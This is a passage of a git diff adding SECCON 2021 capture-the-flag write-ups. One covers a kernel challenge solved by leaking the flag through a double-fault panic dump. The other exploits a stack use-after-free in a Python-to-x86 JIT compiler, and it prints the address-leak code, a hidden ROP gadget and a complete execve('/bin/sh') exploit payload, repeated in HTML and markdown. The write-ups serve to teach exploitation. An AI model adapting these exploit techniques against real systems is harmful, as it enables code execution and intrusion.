`rax`) are zero. We would somehow need to find some code in the kernel that contains a pointer to some controlled kernel memory, that contains a valid stack pivot, and that we can get to without crashing. Doesn't seem very likely. +* As soon as the CPU receives an interrupt the kernel will crash with a double fault because the interrupt handlers also assumes that there is a valid stack. + +The challenge description hints at a "one gadget in kernel-land", a sequence of instruction that is present in the kernel and that will give us root when jumped to. While the idea might seem a bit far-fetched, there are [one-shot gadgets](https://github.com/david942j/one_gadget) in glibc that spawn a shell when jumped to so it doesn't seem entirely out of the realm of possibility[^1]. With that in mind I started searching, and didn't find anything. I did find some gadgets that would get back a valid stack by reading it from `gs:cpu_current_top_of_stack`, but none of them do anything useful. All the other gadgets would need a valid stack to be useful. + +The other idea that I had was to modify some variable that is later used in the double fault handler. Normally a double fault panics and doesn't do anything else, but maybe there is a way to modify a variable so that the handler does what we want? Sadly there doesn't seem to be anything we can do here either. + +At this point I was run out of things to try but staring at so many kernel panics gave me a new idea. Consider the following kernel panic message: + +``` +traps: PANIC: double fault, error_code: 0x0 +double fault: 0000 [#1] SMP PTI +CPU: 0 PID: 129 Comm: pwn Not tainted 5.14.12 #4 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 +RIP: 0010:commit_creds+0x0/0x190 +Code: 48 89 e5 e8 92 fe ff ff 5d c3 8b 07 85 c0 7e 16 48 85 ff 74 05 3e ff 0f 74 01 c3 55 48 89 e5 e8 76 fe ff ff 5d c3 0f 0b 66 90 <55> 48 89 e5 41 55 65 4c 8b 2c 25 c0 6c 01 00 41 54 53 4d 8b a5 78 +RSP: 0018:0000000000000000 EFLAGS: 00010246 +RAX: ffffffff81073ad0 RBX: 0000000000000000 RCX: 0000000000000000 +RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 +RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 +R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 +FS: 00000000004040b8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: fffffffffffffff8 CR3: 0000000002ee2000 CR4: 00000000003006f0 +``` + +The panic message is meant to help people debug the problem, so it includes quite a bit of information about the state of the kernel prior to the crash. For example it contains the values of the registers, a stack trace (not present here since we don't have a valid stack), and a printout of the machine code where the kernel crashed. On x86 the machine code is printed by [`show_opcodes`](https://elixir.bootlin.com/linux/latest/source/arch/x86/kernel/dumpstack.c#L119), which prints the 42 bytes preceding the address where the kernel crashed. However there is no check that these bytes are actually code: in principle they could be anything, even data. + +So... could we use this to read the flag? + +The answer is yes, at least for this challenge. The flag is located in memory, in the initramfs. The initramfs is just an uncompressed CPIO file so the flag is just there in plaintext, somewhere. Since there is no KASLR, the virtual address at which the initramfs is mapped is also constant between runs[^2]. The easiest way to locate the flag in memory is to dump the entire memory of the VM from the QEMU monitor and search for the flag in there. We can find the flag at physical address `0x228B000`, which is mapped at `0xffff88800228B000` in the physmap. + +All that we have to do is to jump there, and we get the flag from the panic message. + +```c +#include +#include + +int main(void) +{ + syscall(1337, 0xffff88800228B000 + 42); +} +``` + +``` +traps: PANIC: double fault, error_code: 0x0 +double fault: 0000 [#1] SMP PTI +CPU: 0 PID: 187 Comm: pwn Not tainted 5.14.12 #4 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 +RIP: 0010:0xffff88800228b02a +Code: 53 45 43 43 4f 4e 7b 50 6c 65 61 73 65 20 44 4d 20 70 74 72 2d 79 75 64 61 69 20 69 66 20 55 20 73 6f 6c 76 65 64 20 74 68 69 <73> 20 77 69 74 68 6f 75 74 20 73 65 63 63 6f 6d 70 20 6f 72 20 62 +RSP: 0018:0000000000000000 EFLAGS: 00000246 +RAX: ffff88800228b02a RBX: 0000000000000000 RCX: 0000000000000000 +RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 +RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 +R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 +FS: 00000000004040b8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: fffffffffffffff8 CR3: 0000000002e20000 CR4: 00000000003006f0 +Call Trace: +``` + +`SECCON{Please DM ptr-yudai if U solved this without seccomp or bpf}` + +As you have probably guessed (and as the flag hints at), this solution was completely unintended. The intended way was to use the in-kernel BPF jit to mount a jit spraying attack on the kernel. This sounds makes a lot of sense but we didn't think of it during the CTF. Oh well... Still thanks to the author, it was a fun challenge to work on. + +[^1]: It's worth noting though that the one-shot gadgets in glibc would not work without a valid stack. Had we had a valid stack here, this challenge would have been much easier. +[^2]: Even with KASLR we could have probably brute forced the address, as KASLR has notoriously low entropy. \ No newline at end of file diff --git a/SECCON-2021/pwn/pyast64pwn.html b/SECCON-2021/pwn/pyast64pwn.html new file mode 100755 index 0000000..3f0d01c --- /dev/null +++ b/SECCON-2021/pwn/pyast64pwn.html @@ -0,0 +1,696 @@ + + + + + +pyast64++.pwn | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

pyast64++.pwn

+ +

Authors: gallileo

+ +

Tags: pwn, python

+ +

Points: 233

+ +
+

Let’s make open-sourced JIT projects more secure!

+ +

nc hiyoko.quals.seccon.jp 9064

+ +

pyast64++.pwn.tar.gz bffd7d1d56b476737271d54ca94509f2069649b1

+
+ +

Introduction

+ +

As with every pwn challenge, I first open the binary in IDA. +Well except this time, … there was no binary!

+ +

Instead we are greeted with a Python file called pyast64.py. +Looking over it, the design of the challenge becomes clear pretty quickly: +pyast64.py takes any (simple) python code and compiles it directly to x86 assembly instructions. +The resulting assembly is then linked into an ELF file (without libc) and ran.

+ +

Having analyzed that, the goal is pretty clear: We have to exploit the compiler and get code execution on the server.

+ +

Initial Reconnaissance

+ +

pyast64.py is pretty complex and so after trying to understand most of it, I started to diff it against the provided version on git. +The only relevant change is to builtin_array which also has a comment added to explain how the arrays are now “secure”:

+ +
The original design of `array` was vulnerable to out-of-bounds access
+and type confusion. The fixed version of the array has its length
+to prevent out-of-bounds access.
+
+i.e. x=array(1)
+    0        4        8        16
+    +--------+--------+--------+
+    | length |  type  |  x[0]  |
+    +--------+--------+--------+
+
+The `type` field is used to check if the variable is actually an array.
+This value is not guessable.
+
+ +

This of course set off my alarms and I assumed we had to somehow work around these security checks. +Therefore, I looked into the design of the arrays in more detail.

+ +

Array Design

+ +

To create an array, you have to use the array(size) builtin in Python 1. +In the following, I present some sample Python code using an array and how the compiler implements it (by showing a high level C version of the assembly):

+ +
# ...
+a = array(4)
+a[0] = 0x41 # 'A'
+putc(a[0]) # prints A, putc is provided by the compiler
+# ...
+
+ +

This would look like the following in high level C:

+ +
// type definition of array
+struct array {
+    i32 size;
+    u32 type;
+    u64 data[0];
+}
+
+// ...
+struct array* a = alloca(sizeof(struct array) + sizeof(u64)*4);
+a->size = 4;
+// The upper 4 bytes of the stack canary (at fs:0x28).
+a->type = __readfsqword(0x2Cu);
+memset(&a->data[0], 0, 4*sizeof(u64));
+a->data[0] = 0x41;
+putc(a->data[0]);
+// ...
+
+ +

So, the array is actually allocated on the stack. +This is not further surprising, since all local variables and arguments are allocated on the stack by the compiler. +However, instead of pursuing this part further, I had some other ideas on how to exploit this first.

+ +

Initial Exploit Attempt: Stack Canary without libc?

+ +

When I saw the stack canary being used, I was very confused. +Since there was no libc, I expected that the stack canary was not initialized. +My team mates agreed, that this would likely be initialized by libc. +Therefore, I thought I could just assume that the type field would always be zero.

+ +

Unfortunately, after some debugging I figured out, that this is not the case. +It is indeed the loader that is responsible for initializing the TLS region (pointed to by fs) and hence also the stack canary. +So type is indeed a random 32bit value.

+ +

Finding the Bug: Why Allocating on the Stack is Tricky

+ +

After some experimenting, I quickly realized where the bug was. +You could return an array perfectly fine from a function where it was allocated. +This is of course a huge issue, because the moment the function returns, the stack frame is deallocated. +Therefore, the returned array points to “freed” memory and we have a stack use-after-free!

+ +

I quickly made a proof of concept that would at least crash:

+ +
def test():
+    a = array(1)
+    a[0] = 0x41
+    return a
+
+def test2(a):
+    b = a[0]
+    newline = 0xa
+    putc(b)
+    putc(newline)
+
+def main():
+    a = test()
+    test2(a)
+
+ +

This yielded the following output 2:

+ +
> python3 pyast64.py -o example.elf example.py && ./example.elf
+assembly:
+[1]    175041 trace trap (core dumped)  ./example.elf
+
+ +

Exploiting a stack UAF

+ +

While I had my fair share of heap UAF exploitation done before, I had never exploited a stack UAF. +The first thing I did, was adding a bunch of helper functions to pretty print arrays, some shamelessly stolen from the original repo3:

+ +
def fetch(array, ofs):
+    return array[ofs]
+
+def store(array, ofs, value):
+    array[ofs] = value
+
+def print_num(n):
+    if n == 0:
+        putc(48)  # '0'
+        return
+    if n < 0:
+        putc(45)  # '-' sign
+        n = -n
+    div = n // 10
+    if div != 0:
+        print_num(div)
+    putc(48 + n % 10)
+
+def print_hex_num(n):
+    if n == 0:
+        putc(48)  # '0'
+        return
+    if n < 0:
+        putc(45)  # '-' sign
+        n = -n
+    div = n // 16
+    if div != 0:
+        print_hex_num(div)
+    dig = n % 16
+    if dig < 10:
+        putc(48 + dig)
+    else:
+        putc(97 + dig - 10)
+
+def print_arr(s):
+    for i in range(1000):
+        print_num(i)
+        putc(32)
+        print_hex_num(fetch(s, i))
+        putc(44)
+        putc(32) # ' '
+    putc(0xa)
+
+ +

I also used a way bigger array. The reasoning is simple: The crash I was seeing before, was the local variables of test2 corrupting my freed array. By making the array very large, type and size would be very low on the stack and hence not easily corrupted.

+ +

Combining this, I can easily print a bunch of the stack as follows:

+ +
# ... helpers from above
+
+# creates array on stack
+# but after we return the stack frame is gonna be invalid!
+def create_freed_array():
+    a = array(1000)
+    return a
+
+def main():
+    b = 0x41414242
+    a = create_freed_array()
+    print_arr(a)
+
+ +

We get the following output:

+ +
0 0, 1 0, 2 0, 3 0, ..., 969 0, 970 0, 971 0, 972 0, 973 0, 974 0, 975 0, 976 0, 977 0, 978 0, 979 0, 980 0, 981 0, 982 0, 983 0, 984 0, 985 7ffe799f4ca8, 986 55623a9e012d, 987 1, 988 7ffe799f4cc8, 989 7ffe799f4cc8, 990 55623a9e012d, 991 1, 992 7ffe799f4ce8, 993 7ffe799f4ce8, 994 55623a9e012d, 995 3e3, 996 7ffe799f4d08, 997 55623a9e02a6, 998 3e6, 999 7ffe799f2dc0
+
+ +

By looking at the mappings of our process, we can immediately identify a PIE leak. +This is useful, as the compiled binary is PIE and we probably want to ROP.

+ +

Figuring out the stack base

+ +

I also wanted to figure out the stack base, to allow more easily working with the stack. +I started by taking a random address that looked like it was a stack address and calculating the offset by looking at the actual stack location. +However, this always gave me wrong results and they were not even page aligned!

+ +

As it turns out, the linux kernel (due to cache reasons) randomizes the offset of the stack pointer from the end of the page as well! +This means, we cannot reliably determine the base of our stack. +I spent a lot of time during the CTF trying to figure out why my calculations were off, until two debugging sessions revealed that rsp was being randomized. +So what can we do instead?

+ +

Locating our array in memory anyways

+ +

Luckily, since local variables are also stored on the stack, we can easily locate the address of our array. +To do this, I created a two level deep function, that had some “placed” local variables and printed the stack then:

+ +
# leak stuff, if we give it the freed array
+def deeper(a):
+    # a2 should be between c and d in the stack dump
+    c = 0x43434343
+    a2 = a
+    d = 0x44444444
+    print_arr(a)
+    # 999 identified thanks to printing
+    return fetch(a, 999)
+
+def leak_array_stack(a):
+    b = 0x42424242
+    # b = array(10)
+    return deeper(a)
+
+def main():
+    a = create_freed_array()
+    leak_array_stack(a)
+
+ +

The output of the above is as follows:

+ +
0 0, 1 0, 2 0, 3 0, 4 0, ..., 975 7fffe51ba228, 976 564eb04fb12d, 977 1, 978 7fffe51ba248, 979 7fffe51ba248, 980 564eb04fb12d, 981 1, 982 7fffe51ba268, 983 7fffe51ba268, 984 564eb04fb12d, 985 3d9, 986 7fffe51ba288, 987 564eb04fb2a6, 988 3dc, 989 7fffe51b8390, 990 7fffe51ba2a8, 991 3df, 992 564eb04fb38a, 993 7fffe51b8390, 994 7fffe51ba2d8, 995 44444444, 996 7fffe51b8390, 997 43434343, 998 564eb04fb3c0, 999 7fffe51b8390,
+
+ +

Thanks to this, we can see that both index 996 and 999 point to our stack buffer.

+ +

Using a similar technique for figuring out a PIE address’s index, we can also leak that:

+ +
def pie_deeper(a):
+    return fetch(a, 999)
+
+def leak_pie_addr(a):
+    return pie_deeper(a)
+
+def main():
+    a = create_freed_array()
+    # print_arr(a)
+    array_stack_addr = leak_array_stack(a)
+    pie_addr = leak_pie_addr(a)
+    pie_base = pie_addr - 0x13f2
+
+ +

The offset here can be figured out by just getting PIE base through e.g. /proc/$PID/maps.

+ +

Building our ROP chain

+ +

So how can we get a shell now? +The easiest method is by ROPing. Since we can also write to our freed array, we can overwrite return addresses on the stack. +We already used saved RIPs for our PIE leak above, so by overwriting them we should be good to go. +The only issue, is that the binary does not link against libc and the only syscall instructions are related to putc / getc.

+ +

Fortunately, we can add our own ROP gadgets very easily! +The end of a function always looks as follows in assembly:

+ +
push 0x41 ; or somehow push return value
+pop rax
+pop rbp
+retn
+
+ +

To get a shell, we need to call execve("/bin/sh", 0, 0); or jump to a syscall instruction with *rdi = "/bin/sh", rsi = 0, rdx = 0, rax = 59. +Since popping rax is already done by every function’s end, we just have to pop rdi, rsi and rdx from the stack. +This can be achieved with the following aptly named function:

+ +
def gadget1():
+    return 0x5f5e5a90
+
+ +

When disassembling normally, it looks as follows:

+ +
push rbp
+mov rbp, rsp
+push 0x5F5E5A90
+pop rax
+pop rbp
+retn
+
+ +

However, if we start disassembling at the address of the push + 1:

+ +
nop
+pop rdx
+pop rsi
+pop rdi
+pop rdx
+pop rax
+pop rbp
+retn
+
+ +

We have our gadget! +Hence our ROPchain is now as follows:

+ +
gadget1+6 # address of pop rdx
+0x0 # rdx
+0x0 # rsi
+array_stack_addr+8 # rdi, points to beginning of array data
+59 # rax, syscall number
+0x41414141 # rbp
+putc+0x1c # address of syscall
+
+ +

Getting a shell

+ +

We have leaks, we have our ROP chain, now we only need to actually use everything! +To that end, we have to ensure that the stack frame of the function where we perform the ROP in, is actually low enough so that we can overwrite everything. +Finally, we also have to pay careful attention of any arguments passed in. Since those are passed on the stack, we have to save them in local variables before performing our stack manipulations. +Otherwise, the stack manipulations will overwrite the arguments. +Lastly, I also store /bin/sh in the array, since we have the address to that handy and can point rdi to that.

+ +

The final exploit functions are as follows:

+ +
# 993 is location of saved rip for returning from this function!
+def do_rop_deeper(a, array_addr, gadget_addr, syscall_addr):
+    e = 0x45454545
+    a2 = a
+    array_addr2 = array_addr
+    gadget_addr2 = gadget_addr
+    syscall_addr2 = syscall_addr
+    f = 0x46464646
+    bin_sh = 0x6e69622f
+    # necessary, otherwise gcc complains about too large constants :/
+    bin_sh = bin_sh | (0x0068732f * 65536 * 65536)
+    print_arr(a)
+    store(a2, 993, gadget_addr2)
+    store(a2, 994, 0) # rdx
+    store(a2, 0, bin_sh)
+    store(a2, 995, 0) # rsi
+    store(a2, 996, array_addr2 + 8) # rdi
+    store(a2, 997, 59) # rax = syscall number
+    store(a2, 998, 0x41414141) # rbp
+    store(a2, 999, syscall_addr2)
+
+def do_rop(a, array_addr, gadget_addr, syscall_addr):
+    do_rop_deeper(a, array_addr, gadget_addr, syscall_addr)
+
+ +

The indexes into our array were again obtained by printing and some trial and error :).

+ +

Final exploit payload

+ +

The final exploit payload looks as follows (containing a bunch of debugging stuff leftover from the CTF :)):

+ +
def fetch(array, ofs):
+    return array[ofs]
+
+def store(array, ofs, value):
+    array[ofs] = value
+
+def print_num(n):
+    if n == 0:
+        putc(48)  # '0'
+        return
+    if n < 0:
+        putc(45)  # '-' sign
+        n = -n
+    div = n // 10
+    if div != 0:
+        print_num(div)
+    putc(48 + n % 10)
+
+def print_hex_num(n):
+    if n == 0:
+        putc(48)  # '0'
+        return
+    if n < 0:
+        putc(45)  # '-' sign
+        n = -n
+    div = n // 16
+    if div != 0:
+        print_hex_num(div)
+    dig = n % 16
+    if dig < 10:
+        putc(48 + dig)
+    else:
+        putc(97 + dig - 10)
+
+def print_arr(s):
+    for i in range(1000):
+        print_num(i)
+        putc(32)
+        print_hex_num(fetch(s, i))
+        putc(44)
+        putc(32) # ' '
+    putc(0xa)
+
+# creates array on stack
+# but after we return the stack frame is gonna be invalid!
+def create_freed_array():
+    a = array(1000)
+    return a
+
+# STACK_BASE = 0
+# PIE_BASE = 0
+# ARR_CANARY = 0
+
+# rop gadgets
+
+def gadget1():
+    return 0x5f5e5a90
+
+# leak stuff, if we give it the freed array
+def deeper(a):
+    c = 0x43434343
+    a2 = a
+    d = 0x44444444
+    print_arr(a)
+    return fetch(a, 999)
+
+def leak_array_stack(a):
+    b = 0x42424242
+    # b = array(10)
+    return deeper(a)
+
+def pie_deeper(a):
+    return fetch(a, 999)
+
+def leak_pie_addr(a):
+    return pie_deeper(a)
+
+# 993 is location of saved rip for returning from this function!
+def do_rop_deeper(a, array_addr, gadget_addr, syscall_addr):
+    e = 0x45454545
+    a2 = a
+    array_addr2 = array_addr
+    gadget_addr2 = gadget_addr
+    syscall_addr2 = syscall_addr
+    f = 0x46464646
+    bin_sh = 0x6e69622f
+    # necessary, otherwise gcc complains about too large constants :/
+    bin_sh = bin_sh | (0x0068732f * 65536 * 65536)
+    print_arr(a)
+    store(a2, 993, gadget_addr2)
+    store(a2, 994, 0) # rdx
+    store(a2, 0, bin_sh)
+    store(a2, 995, 0) # rsi
+    store(a2, 996, array_addr2 + 8) # rdi
+    store(a2, 997, 59) # rax = syscall number
+    store(a2, 998, 0x41414141) # rbp
+    store(a2, 999, syscall_addr2)
+
+def do_rop(a, array_addr, gadget_addr, syscall_addr):
+    do_rop_deeper(a, array_addr, gadget_addr, syscall_addr)
+
+def main():
+    b = 0x41414242
+    a = create_freed_array()
+    # print_arr(a)
+    array_stack_addr = leak_array_stack(a)
+    pie_addr = leak_pie_addr(a)
+    pie_base = pie_addr - 0x13f2
+    # array_stack_addr = leak_array_stack(a)
+    # print_hex_num(0x7ffffffff000)
+    print_hex_num(array_stack_addr)
+    putc(0xa)
+    print_hex_num(pie_addr)
+    putc(0xa)
+    do_rop(a, array_stack_addr, pie_base + 0x135C, pie_base + 0x1661)
+    d = getc()
+    putc(0xa)
+    putc(d)
+
+ +
+
    +
  1. +

    This was unchanged from the original project on GitHub. 

    +
  2. +
  3. +

    Note: I changed the provided python file to make it easier to debug. For example I save the assembly output in a temporary file. 

    +
  4. +
  5. +

    The store / fetch functions might seem a bit weird. I had some issues (because I was wrongly using Python 3.8) and so I just copied the code from GitHub. All store / fetch should be replaceable with normal array indexing now. 

    +
  6. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/pwn/pyast64pwn.md b/SECCON-2021/pwn/pyast64pwn.md new file mode 100755 index 0000000..cb4fa39 --- /dev/null +++ b/SECCON-2021/pwn/pyast64pwn.md @@ -0,0 +1,503 @@ +# pyast64++.pwn + +**Authors**: [gallileo](https://twitter.com/galli_leo_) + +**Tags**: pwn, python + +**Points**: 233 + +> Let's make open-sourced JIT projects more secure! +> +> `nc hiyoko.quals.seccon.jp 9064` +> +> [pyast64++.pwn.tar.gz](https://secconctf-prod.s3.isk01.sakurastorage.jp/production/pyast64%2b%2b.pwn/pyast64%2b%2b.pwn.tar.gz) bffd7d1d56b476737271d54ca94509f2069649b1 + +## Introduction + +As with every pwn challenge, I first open the binary in IDA. +Well except this time, ... there was no binary! + +Instead we are greeted with a Python file called `pyast64.py`. +Looking over it, the design of the challenge becomes clear pretty quickly: +`pyast64.py` takes any (simple) python code and compiles it directly to x86 assembly instructions. +The resulting assembly is then linked into an ELF file (without libc) and ran. + +Having analyzed that, the goal is pretty clear: We have to exploit the compiler and get code execution on the server. + +## Initial Reconnaissance + +`pyast64.py` is pretty complex and so after trying to understand most of it, I started to diff it against the provided version on git. +The only relevant change is to `builtin_array` which also has a comment added to explain how the arrays are now "secure": + +``` +The original design of `array` was vulnerable to out-of-bounds access +and type confusion. The fixed version of the array has its length +to prevent out-of-bounds access. + +i.e. x=array(1) + 0 4 8 16 + +--------+--------+--------+ + | length | type | x[0] | + +--------+--------+--------+ + +The `type` field is used to check if the variable is actually an array. +This value is not guessable. +``` + +This of course set off my alarms and I assumed we had to somehow work around these security checks. +Therefore, I looked into the design of the arrays in more detail. + +## Array Design + +To create an array, you have to use the `array(size)` builtin in Python [^1]. +In the following, I present some sample Python code using an array and how the compiler implements it (by showing a high level C version of the assembly): + +```python +# ... +a = array(4) +a[0] = 0x41 # 'A' +putc(a[0]) # prints A, putc is provided by the compiler +# ... +``` + +This would look like the following in high level C: + +```c +// type definition of array +struct array { + i32 size; + u32 type; + u64 data[0]; +} + +// ... +struct array* a = alloca(sizeof(struct array) + sizeof(u64)*4); +a->size = 4; +// The upper 4 bytes of the stack canary (at fs:0x28). +a->type = __readfsqword(0x2Cu); +memset(&a->data[0], 0, 4*sizeof(u64)); +a->data[0] = 0x41; +putc(a->data[0]); +// ... +``` + +So, the array is actually allocated on the stack. +This is not further surprising, since all local variables and arguments are allocated on the stack by the compiler. +However, instead of pursuing this part further, I had some other ideas on how to exploit this first. + +## Initial Exploit Attempt: Stack Canary without libc? + +When I saw the stack canary being used, I was very confused. +Since there was no libc, I expected that the stack canary was not initialized. +My team mates agreed, that this would likely be initialized by libc. +Therefore, I thought I could just assume that the `type` field would always be zero. + +Unfortunately, after some debugging I figured out, that this is not the case. +It is indeed the loader that is responsible for initializing the TLS region (pointed to by fs) and hence also the stack canary. +So `type` is indeed a random 32bit value. + +## Finding the Bug: Why Allocating on the Stack is Tricky + +After some experimenting, I quickly realized where the bug was. +You could return an array perfectly fine from a function where it was allocated. +This is of course a huge issue, because the moment the function returns, the stack frame is deallocated. +Therefore, the returned array points to "freed" memory and we have a stack use-after-free! + +I quickly made a proof of concept that would at least crash: + +```python +def test(): + a = array(1) + a[0] = 0x41 + return a + +def test2(a): + b = a[0] + newline = 0xa + putc(b) + putc(newline) + +def main(): + a = test() + test2(a) +``` + +This yielded the following output [^2]: + +``` +> python3 pyast64.py -o example.elf example.py && ./example.elf +assembly: +[1] 175041 trace trap (core dumped) ./example.elf +``` + +## Exploiting a stack UAF + +While I had my fair share of heap UAF exploitation done before, I had never exploited a stack UAF. +The first thing I did, was adding a bunch of helper functions to pretty print arrays, some shamelessly stolen [from the original repo](https://github.com/benhoyt/pyast64/blob/master/arrays.p64)[^3]: + +```python +def fetch(array, ofs): + return array[ofs] + +def store(array, ofs, value): + array[ofs] = value + +def print_num(n): + if n == 0: + putc(48) # '0' + return + if n < 0: + putc(45) # '-' sign + n = -n + div = n // 10 + if div != 0: + print_num(div) + putc(48 + n % 10) + +def print_hex_num(n): + if n == 0: + putc(48) # '0' + return + if n < 0: + putc(45) # '-' sign + n = -n + div = n // 16 + if div != 0: + print_hex_num(div) + dig = n % 16 + if dig < 10: + putc(48 + dig) + else: + putc(97 + dig - 10) + +def print_arr(s): + for i in range(1000): + print_num(i) + putc(32) + print_hex_num(fetch(s, i)) + putc(44) + putc(32) # ' ' + putc(0xa) +``` + +I also used a way bigger array. The reasoning is simple: The crash I was seeing before, was the local variables of `test2` corrupting my freed array. By making the array very large, `type` and `size` would be very low on the stack and hence not easily corrupted. + +Combining this, I can easily print a bunch of the stack as follows: + +```python +# ... helpers from above + +# creates array on stack +# but after we return the stack frame is gonna be invalid! +def create_freed_array(): + a = array(1000) + return a + +def main(): + b = 0x41414242 + a = create_freed_array() + print_arr(a) +``` + +We get the following output: + +``` +0 0, 1 0, 2 0, 3 0, ..., 969 0, 970 0, 971 0, 972 0, 973 0, 974 0, 975 0, 976 0, 977 0, 978 0, 979 0, 980 0, 981 0, 982 0, 983 0, 984 0, 985 7ffe799f4ca8, 986 55623a9e012d, 987 1, 988 7ffe799f4cc8, 989 7ffe799f4cc8, 990 55623a9e012d, 991 1, 992 7ffe799f4ce8, 993 7ffe799f4ce8, 994 55623a9e012d, 995 3e3, 996 7ffe799f4d08, 997 55623a9e02a6, 998 3e6, 999 7ffe799f2dc0 +``` + +By looking at the mappings of our process, we can immediately identify a PIE leak. +This is useful, as the compiled binary is PIE and we probably want to ROP. + +### Figuring out the stack base + +I also wanted to figure out the stack base, to allow more easily working with the stack. +I started by taking a random address that looked like it was a stack address and calculating the offset by looking at the actual stack location. +However, this always gave me wrong results and they were not even page aligned! + +As it turns out, the linux kernel (due to cache reasons) randomizes the offset of the stack pointer from the end of the page as well! +This means, we cannot reliably determine the base of our stack. +I spent a lot of time during the CTF trying to figure out why my calculations were off, until two debugging sessions revealed that rsp was being randomized. +So what can we do instead? + +### Locating our array in memory anyways + +Luckily, since local variables are also stored on the stack, we can easily locate the address of our array. +To do this, I created a two level deep function, that had some "placed" local variables and printed the stack then: + +```python +# leak stuff, if we give it the freed array +def deeper(a): + # a2 should be between c and d in the stack dump + c = 0x43434343 + a2 = a + d = 0x44444444 + print_arr(a) + # 999 identified thanks to printing + return fetch(a, 999) + +def leak_array_stack(a): + b = 0x42424242 + # b = array(10) + return deeper(a) + +def main(): + a = create_freed_array() + leak_array_stack(a) +``` + +The output of the above is as follows: + +``` +0 0, 1 0, 2 0, 3 0, 4 0, ..., 975 7fffe51ba228, 976 564eb04fb12d, 977 1, 978 7fffe51ba248, 979 7fffe51ba248, 980 564eb04fb12d, 981 1, 982 7fffe51ba268, 983 7fffe51ba268, 984 564eb04fb12d, 985 3d9, 986 7fffe51ba288, 987 564eb04fb2a6, 988 3dc, 989 7fffe51b8390, 990 7fffe51ba2a8, 991 3df, 992 564eb04fb38a, 993 7fffe51b8390, 994 7fffe51ba2d8, 995 44444444, 996 7fffe51b8390, 997 43434343, 998 564eb04fb3c0, 999 7fffe51b8390, +``` + +Thanks to this, we can see that both index `996` and `999` point to our stack buffer. + +Using a similar technique for figuring out a PIE address's index, we can also leak that: + +```python +def pie_deeper(a): + return fetch(a, 999) + +def leak_pie_addr(a): + return pie_deeper(a) + +def main(): + a = create_freed_array() + # print_arr(a) + array_stack_addr = leak_array_stack(a) + pie_addr = leak_pie_addr(a) + pie_base = pie_addr - 0x13f2 +``` + +The offset here can be figured out by just getting PIE base through e.g. `/proc/$PID/maps`. + +### Building our ROP chain + +So how can we get a shell now? +The easiest method is by ROPing. Since we can also write to our freed array, we can overwrite return addresses on the stack. +We already used saved RIPs for our PIE leak above, so by overwriting them we should be good to go. +The only issue, is that the binary does not link against libc and the only syscall instructions are related to `putc` / `getc`. + +Fortunately, we can add our own ROP gadgets very easily! +The end of a function always looks as follows in assembly: + +```nasm +push 0x41 ; or somehow push return value +pop rax +pop rbp +retn +``` + +To get a shell, we need to call `execve("/bin/sh", 0, 0);` or jump to a syscall instruction with `*rdi = "/bin/sh", rsi = 0, rdx = 0, rax = 59`. +Since popping rax is already done by every function's end, we just have to pop rdi, rsi and rdx from the stack. +This can be achieved with the following aptly named function: + +```python +def gadget1(): + return 0x5f5e5a90 +``` + +When disassembling normally, it looks as follows: + +```nasm +push rbp +mov rbp, rsp +push 0x5F5E5A90 +pop rax +pop rbp +retn +``` + +However, if we start disassembling at the address of the push + 1: + +```nasm +nop +pop rdx +pop rsi +pop rdi +pop rdx +pop rax +pop rbp +retn +``` + +We have our gadget! +Hence our ROPchain is now as follows: + +```python +gadget1+6 # address of pop rdx +0x0 # rdx +0x0 # rsi +array_stack_addr+8 # rdi, points to beginning of array data +59 # rax, syscall number +0x41414141 # rbp +putc+0x1c # address of syscall +``` + +### Getting a shell + +We have leaks, we have our ROP chain, now we only need to actually use everything! +To that end, we have to ensure that the stack frame of the function where we perform the ROP in, is actually low enough so that we can overwrite everything. +Finally, we also have to pay careful attention of any arguments passed in. Since those are passed on the stack, we have to save them in local variables before performing our stack manipulations. +Otherwise, the stack manipulations will overwrite the arguments. +Lastly, I also store `/bin/sh` in the array, since we have the address to that handy and can point rdi to that. + +The final exploit functions are as follows: + +```python +# 993 is location of saved rip for returning from this function! +def do_rop_deeper(a, array_addr, gadget_addr, syscall_addr): + e = 0x45454545 + a2 = a + array_addr2 = array_addr + gadget_addr2 = gadget_addr + syscall_addr2 = syscall_addr + f = 0x46464646 + bin_sh = 0x6e69622f + # necessary, otherwise gcc complains about too large constants :/ + bin_sh = bin_sh | (0x0068732f * 65536 * 65536) + print_arr(a) + store(a2, 993, gadget_addr2) + store(a2, 994, 0) # rdx + store(a2, 0, bin_sh) + store(a2, 995, 0) # rsi + store(a2, 996, array_addr2 + 8) # rdi + store(a2, 997, 59) # rax = syscall number + store(a2, 998, 0x41414141) # rbp + store(a2, 999, syscall_addr2) + +def do_rop(a, array_addr, gadget_addr, syscall_addr): + do_rop_deeper(a, array_addr, gadget_addr, syscall_addr) +``` + +The indexes into our array were again obtained by printing and some trial and error :). + +## Final exploit payload + +The final exploit payload looks as follows (containing a bunch of debugging stuff leftover from the CTF :)): + +```python +def fetch(array, ofs): + return array[ofs] + +def store(array, ofs, value): + array[ofs] = value + +def print_num(n): + if n == 0: + putc(48) # '0' + return + if n < 0: + putc(45) # '-' sign + n = -n + div = n // 10 + if div != 0: + print_num(div) + putc(48 + n % 10) + +def print_hex_num(n): + if n == 0: + putc(48) # '0' + return + if n < 0: + putc(45) # '-' sign + n = -n + div = n // 16 + if div != 0: + print_hex_num(div) + dig = n % 16 + if dig < 10: + putc(48 + dig) + else: + putc(97 + dig - 10) + +def print_arr(s): + for i in range(1000): + print_num(i) + putc(32) + print_hex_num(fetch(s, i)) + putc(44) + putc(32) 